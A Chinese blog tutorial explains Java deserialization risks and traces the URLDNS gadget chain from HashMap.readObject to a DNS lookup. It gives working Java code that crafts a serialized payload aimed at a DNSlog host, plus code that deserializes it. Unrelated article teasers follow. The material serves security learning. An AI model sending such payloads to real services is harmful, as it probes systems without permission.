JAVA反序列化应用 : URLDNS案例

news2025/6/9 18:12:15

反序列化的基本原理

基础普及 : 对象初始化数据方法 :1、使用构造方法 2、使用封装中的 set,get方法

这边我们就使用 1    注意 我们之后还需要进行 接入 序列化的接口 :

先进行序列化 :

反序列化:

反序列化导致的安全问题

主要就是函数 readObject 的问题

1、readObject()函数的重写

在类中重写一个方法

之后运行 就会发现 readObject 反序列化函数被重新为 执行计算机

反序列化链练习:

如果就是对方的程序本身是没有可利用的函数如重写的 object() , ToString 的时候我们就需要去深究对方的链

分析流程 :  1、 分析类有无可利用的函数    Hashmap这个类 

有可利用的  但是我们还需要进行分析这个链的底层没有嘛如命令执行之类的函数可以利用

这个时候我们反序列化的对象  就是我们 new 的这个 Hashmap的对象

现在的思路 : Hashmap.read -> putVal

然后找到这个函数 点击进去

找到   putVal 是这个put函数进行返回的   hash这个函数是常用的我们看看能不能找到更多的链

主要的目的就是拓展依赖链  然后找到最终的利用出口

这个函数是   hash(key)

Hashmap.read -> putVal ->put -> hash(key)
然后找到 hash内有个   点击进去

然后我们就会发现链被拓展了 因为这个hashcode是这个依赖的一个父类 

我们点击左边这个拓展子类

Hashmap.read -> putVal ->put -> hash(key)->hashCode()

找到这个实现方法  那怎么实现这个跳转呢   hash(key) 我们让key =URL 不就可以了  

然后他里面的方法 :

搜索了一下这个 hashcode  

发现他有个默认值是 -1 (这个在后面的利用有关键作用)

点击到这个 handler 中去

现在 :Hashmap.read -> putVal ->put -> hash(key)->URL.hashCode()->URL.hashCode().hander

然后这个的意思就是  

URLStreamHandler=handler

点击到这个  URLStreamHandler 中去

最后发现这个url利用的 地址解析也就是 DNS 解析

Hashmap.read -> putVal ->put -> hash(key)->URL.hashCode()->URL.hashCode().hander=URLStreamHandler->getHostAddress(URL u) 

然后这个链就成了 就是可以使用  利用反序列化之后的类执行重写的readobject 这个函数进行DNS解析

利用过程 : 先新建一个 DNSlog

yakit中反连->DNS

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class DNS implements Serializable {
    public static void main(String[] args) throws Exception {
        //我们需要初始化的内容  1、是进入逻辑的  让key=URL  2、hashCode=-1  3、 设置url为我们可控的地址
        
        //新建一个对象
        HashMap<URL,Integer> hashMap=new HashMap<>();
        // 创建一个 url 类对象
        URL url = new URL("http://psckybvuzm.iyhc.eu.org"); //需要利用的dns代码
        // 我们的目的就是需要把  hashcode 设置为 -1
        Class<? extends URL> aClass = url.getClass();    // 这个就是获取上面url对象的成员方法
        Field hashCode = aClass.getDeclaredField("hashCode");
        hashCode.setAccessible(true); // 反射获取 hashCode 方法  setAccessible 这样才能获取到封装的成员方法
        hashCode.set(url,122222);
        hashMap.put(url,1);   //这个是入口把 put进行调用put Val 设置为 第一个参数就是key 把 key设置为 URL
        hashCode.set(url,-1);
// 方法的调用就是为了引出后面的DNS
        serializable(hashMap);
    }



    public static void serializable(Object obj) throws Exception {
        // 创建一个 ObjectOutputStream 对象,将数据写入 ser.bin 文件
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("F:\\渗透\\编程类pc java php\\JAVA安全开发\\046-Web开发-JavaEE应用&FastJson&反序列化&打包代码等\\SerializableUrldns\\src\\main\\java\\dns.bin"));
        // 将传入的对象写入文件
        oos.writeObject(obj);
    }
}

这个是利用的代码

反序列化 :

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Dnsunser {
    public static Object UnSerializableTest(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object o = ois.readObject();   //使用 Hashmap的原因就是为了 重新 readObject()
        return o;
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Object obj = UnSerializableTest("dns.bin");
    }
}

最后(ip变了是因为我使用的科学上网)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2405677.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Vue-Leaflet地图组件开发(三)地图控件与高级样式设计

第三篇&#xff1a;Vue-Leaflet地图控件与高级样式设计 1. 专业级比例尺组件实现 1.1 比例尺控件集成 import { LControl } from "vue-leaflet/vue-leaflet";// 在模板中添加比例尺控件 <l-control-scaleposition"bottomleft":imperial"false&qu…

174页PPT家居制造业集团战略规划和运营管控规划方案

甲方集团需要制定一个清晰的集团价值定位&#xff0c;从“指引多元”、“塑造 能力”以及“强化协同”等方面引领甲方做大做强 集团需要通过管控模式、组织架构及职能、授权界面、关键流程、战略 实施和组织演进路径&#xff0c;平衡风险控制和迅速发展&#xff0c;保证战略落地…

wsl开启即闪退

[ 问题 ]&#xff1a; 在一次电脑卡住&#xff0c;强制关机重启后&#xff0c;遇到打开WSL就闪退的问题在CMD中打开WSL&#xff0c;出现如上图的描述&#xff1a; C:\Users\admin>wsl wsl: 检测到 localhost 代理配置&#xff0c;但未镜像到 WSL。NAT 模式下的 WSL 不支持…

【P2P】直播网络拓扑及编码模式

以下从 P2P 直播的常见拓扑模式出发,分析各种方案的特点与适用场景,并给出推荐。 一、P2P 直播的核心挑战 实时性要求高 直播场景下,延迟必须控制在可接受范围(通常 <2 秒),同时要保证画面连贯、不卡顿。带宽分布不均 每个节点(观众)上传带宽与下载带宽差异较大,且…

Python数据可视化科技图表绘制系列教程(二)

目录 表格风格图 使用Seaborn函数绘图 设置图表风格 设置颜色主题 图表分面 绘图过程 使用绘图函数绘图 定义主题 分面1 分面2 【声明】&#xff1a;未经版权人书面许可&#xff0c;任何单位或个人不得以任何形式复制、发行、出租、改编、汇编、传播、展示或利用本博…

低空城市场景下的多无人机任务规划与动态协调!CoordField:无人机任务分配的智能协调场

作者&#xff1a;Tengchao Zhang 1 ^{1} 1 , Yonglin Tian 2 ^{2} 2 , Fei Lin 1 ^{1} 1, Jun Huang 1 ^{1} 1, Patrik P. Sli 3 ^{3} 3, Rui Qin 2 , 4 ^{2,4} 2,4, and Fei-Yue Wang 5 , 1 ^{5,1} 5,1单位&#xff1a; 1 ^{1} 1澳门科技大学创新工程学院工程科学系&#xff0…

算法-构造题

#include<iostream> #include<bits/stdc.h> using namespace std; typedef long long ll; const ll N 5e5 10; int main() {ll n, k;cin >> n >> k; ll a[N] {0}; // 初始化一个大小为N的数组a&#xff0c;用于存储排列// 构造满足条件的排列for (l…

【Linux】进程的基本概念

目录 概念描述进程-PCB如何查看进程通过系统目录进行查看通过ps指令进行查看 通过系统调用获取进程的PID和PPID(进程标⽰符)通过系统调用创建子进程通过一段代码来介绍fork为什么要有子进程&#xff1f;fork为什么给子进程返回0&#xff0c;给父进程返回子进程的PIDfork函数到底…

设备驱动与文件系统:05 文件使用磁盘的实现

从文件使用磁盘的实现逻辑分享 我们现在讲第30讲&#xff0c;内容是文件使用磁盘的具体实现&#xff0c;也就是相关代码是如何编写的。上一节我们探讨了如何从字符流位置算出盘块号&#xff0c;这是文件操作磁盘的核心。而这节课&#xff0c;我们将深入研究实现这一核心功能的…

AI数据分析在体育中的应用:技术与实践

在现代体育竞技领域&#xff0c;"数据驱动"已不再是一个遥远的概念。尤其随着人工智能&#xff08;AI&#xff09;和大数据分析的不断成熟&#xff0c;从职业俱乐部到赛事直播平台&#xff0c;从运动员训练到球迷观赛体验&#xff0c;AI正以前所未有的方式渗透并改变…

zabbix 6 监控 docker 容器

zabbix 6 监控 docker 容器 1.安装zabbix_agent2 curl -s http://10.26.211.56:8080/centos7-agent2-install.sh | bash2.在zabbix server 端测试 zabbix_get -s 10.26.219.180 -k docker.infoZBX_NOTSUPPORTED: Cannot fetch data: Get "http://1.28/info": dial…

正则持续学习呀

源匹配为 (.*): (.*)$ 替换匹配为 "$1": "$2", 可将headers改为字典 参考 【爬虫军火库】如何优雅地复制请求头 - 知乎

Go基本语法——go语言中的四种变量定义方法

前言 在go语言中&#xff0c;定义一个变量有四种方式&#xff0c;本文单从语法的层面来介绍这几种方式 单变量定义方法 1.var 变量名 类型&#xff0c;不进行初始化 例如&#xff0c;定义一个变量a后为其赋值&#xff0c;并且打印其值&#xff0c;运行结果如下 //1.不进行…

27.【新型数据架构】-数据共享架构

27.【新型数据架构】-数据共享架构:降低数据获取成本,实时数据访问,保持数据新鲜度,促进数据经济发展,打破数据孤岛,标准化数据交换,增强数据安全性,完整审计追踪,合规性保障 一、数据共享架构的本质:打破壁垒的“数字立交桥” 传统企业或组织间的数据往往呈现“烟囱…

virtualbox 如何虚拟机ip固定

1、在网络管理里新建 2、配置网络 3、 进入linux系统&#xff0c;查看 查看 网卡是enp0s8, ifconfig 4、进入网卡配置文件 cd /etc/sysconfig/network-scripts如果没有enp0s8 &#xff0c;则使用mv ifcfg-enp0s3 ifcfg-enp0s8命令 配置项如下 TYPEEthernet PROXY_METHODn…

RKNN3588上部署 RTDETRV2

RT-DETR V2 是由百度研究团队在 2024年 提出的&#xff0c;是其广受好评的实时目标检测模型 RT-DETR 的重大升级版本。它继承了第一代 RT-DETR 利用 Transformer 架构实现端到端目标检测 和 卓越实时性能 的核心优势&#xff0c;并针对模型精度、训练效率和部署灵活性进行了全方…

Python----循环神经网络(BiLSTM:双向长短时记忆网络)

一、LSTM 与 BiLSTM对比 1.1、LSTM LSTM&#xff08;长短期记忆网络&#xff09; 是一种改进的循环神经网络&#xff08;RNN&#xff09;&#xff0c;专门解决传统RNN难以学习长期依赖的问题。它通过遗忘门、输入门和输出门来控制信息的流动&#xff0c;保留重要信息并丢弃无关…

Linux系统编程-DAY10(TCP操作)

一、网络模型 1、服务器/客户端模型 &#xff08;1&#xff09;C/S&#xff1a;client server &#xff08;2&#xff09;B/S&#xff1a;browser server &#xff08;3&#xff09;P2P&#xff1a;peer to peer 2、C/S与B/S区别 &#xff08;1&#xff09;客户端不同&#…

基于eclipse进行Birt报表开发

Birt报表开发最终实现效果&#xff1a; 简洁版的Birt报表开发实现效果&#xff0c;仅供参考&#xff01; 可动态获取采购单ID&#xff0c;来打印出报表&#xff01; 下面开始Birt报表开发教程&#xff1a; 首先&#xff1a;汉化的eclipse及Birt值得拥有&#xff1a;至少感觉上…

GPU虚拟化

引言 现有如下环境&#xff08;注意相关配置&#xff1a;只有一个k8s节点&#xff0c;且该节点上只有一张GPU卡&#xff09;&#xff1a; // k8s版本 $ kubectl version Client Version: version.Info{Major:"1", Minor:"22", GitVersion:"v1.22.7&…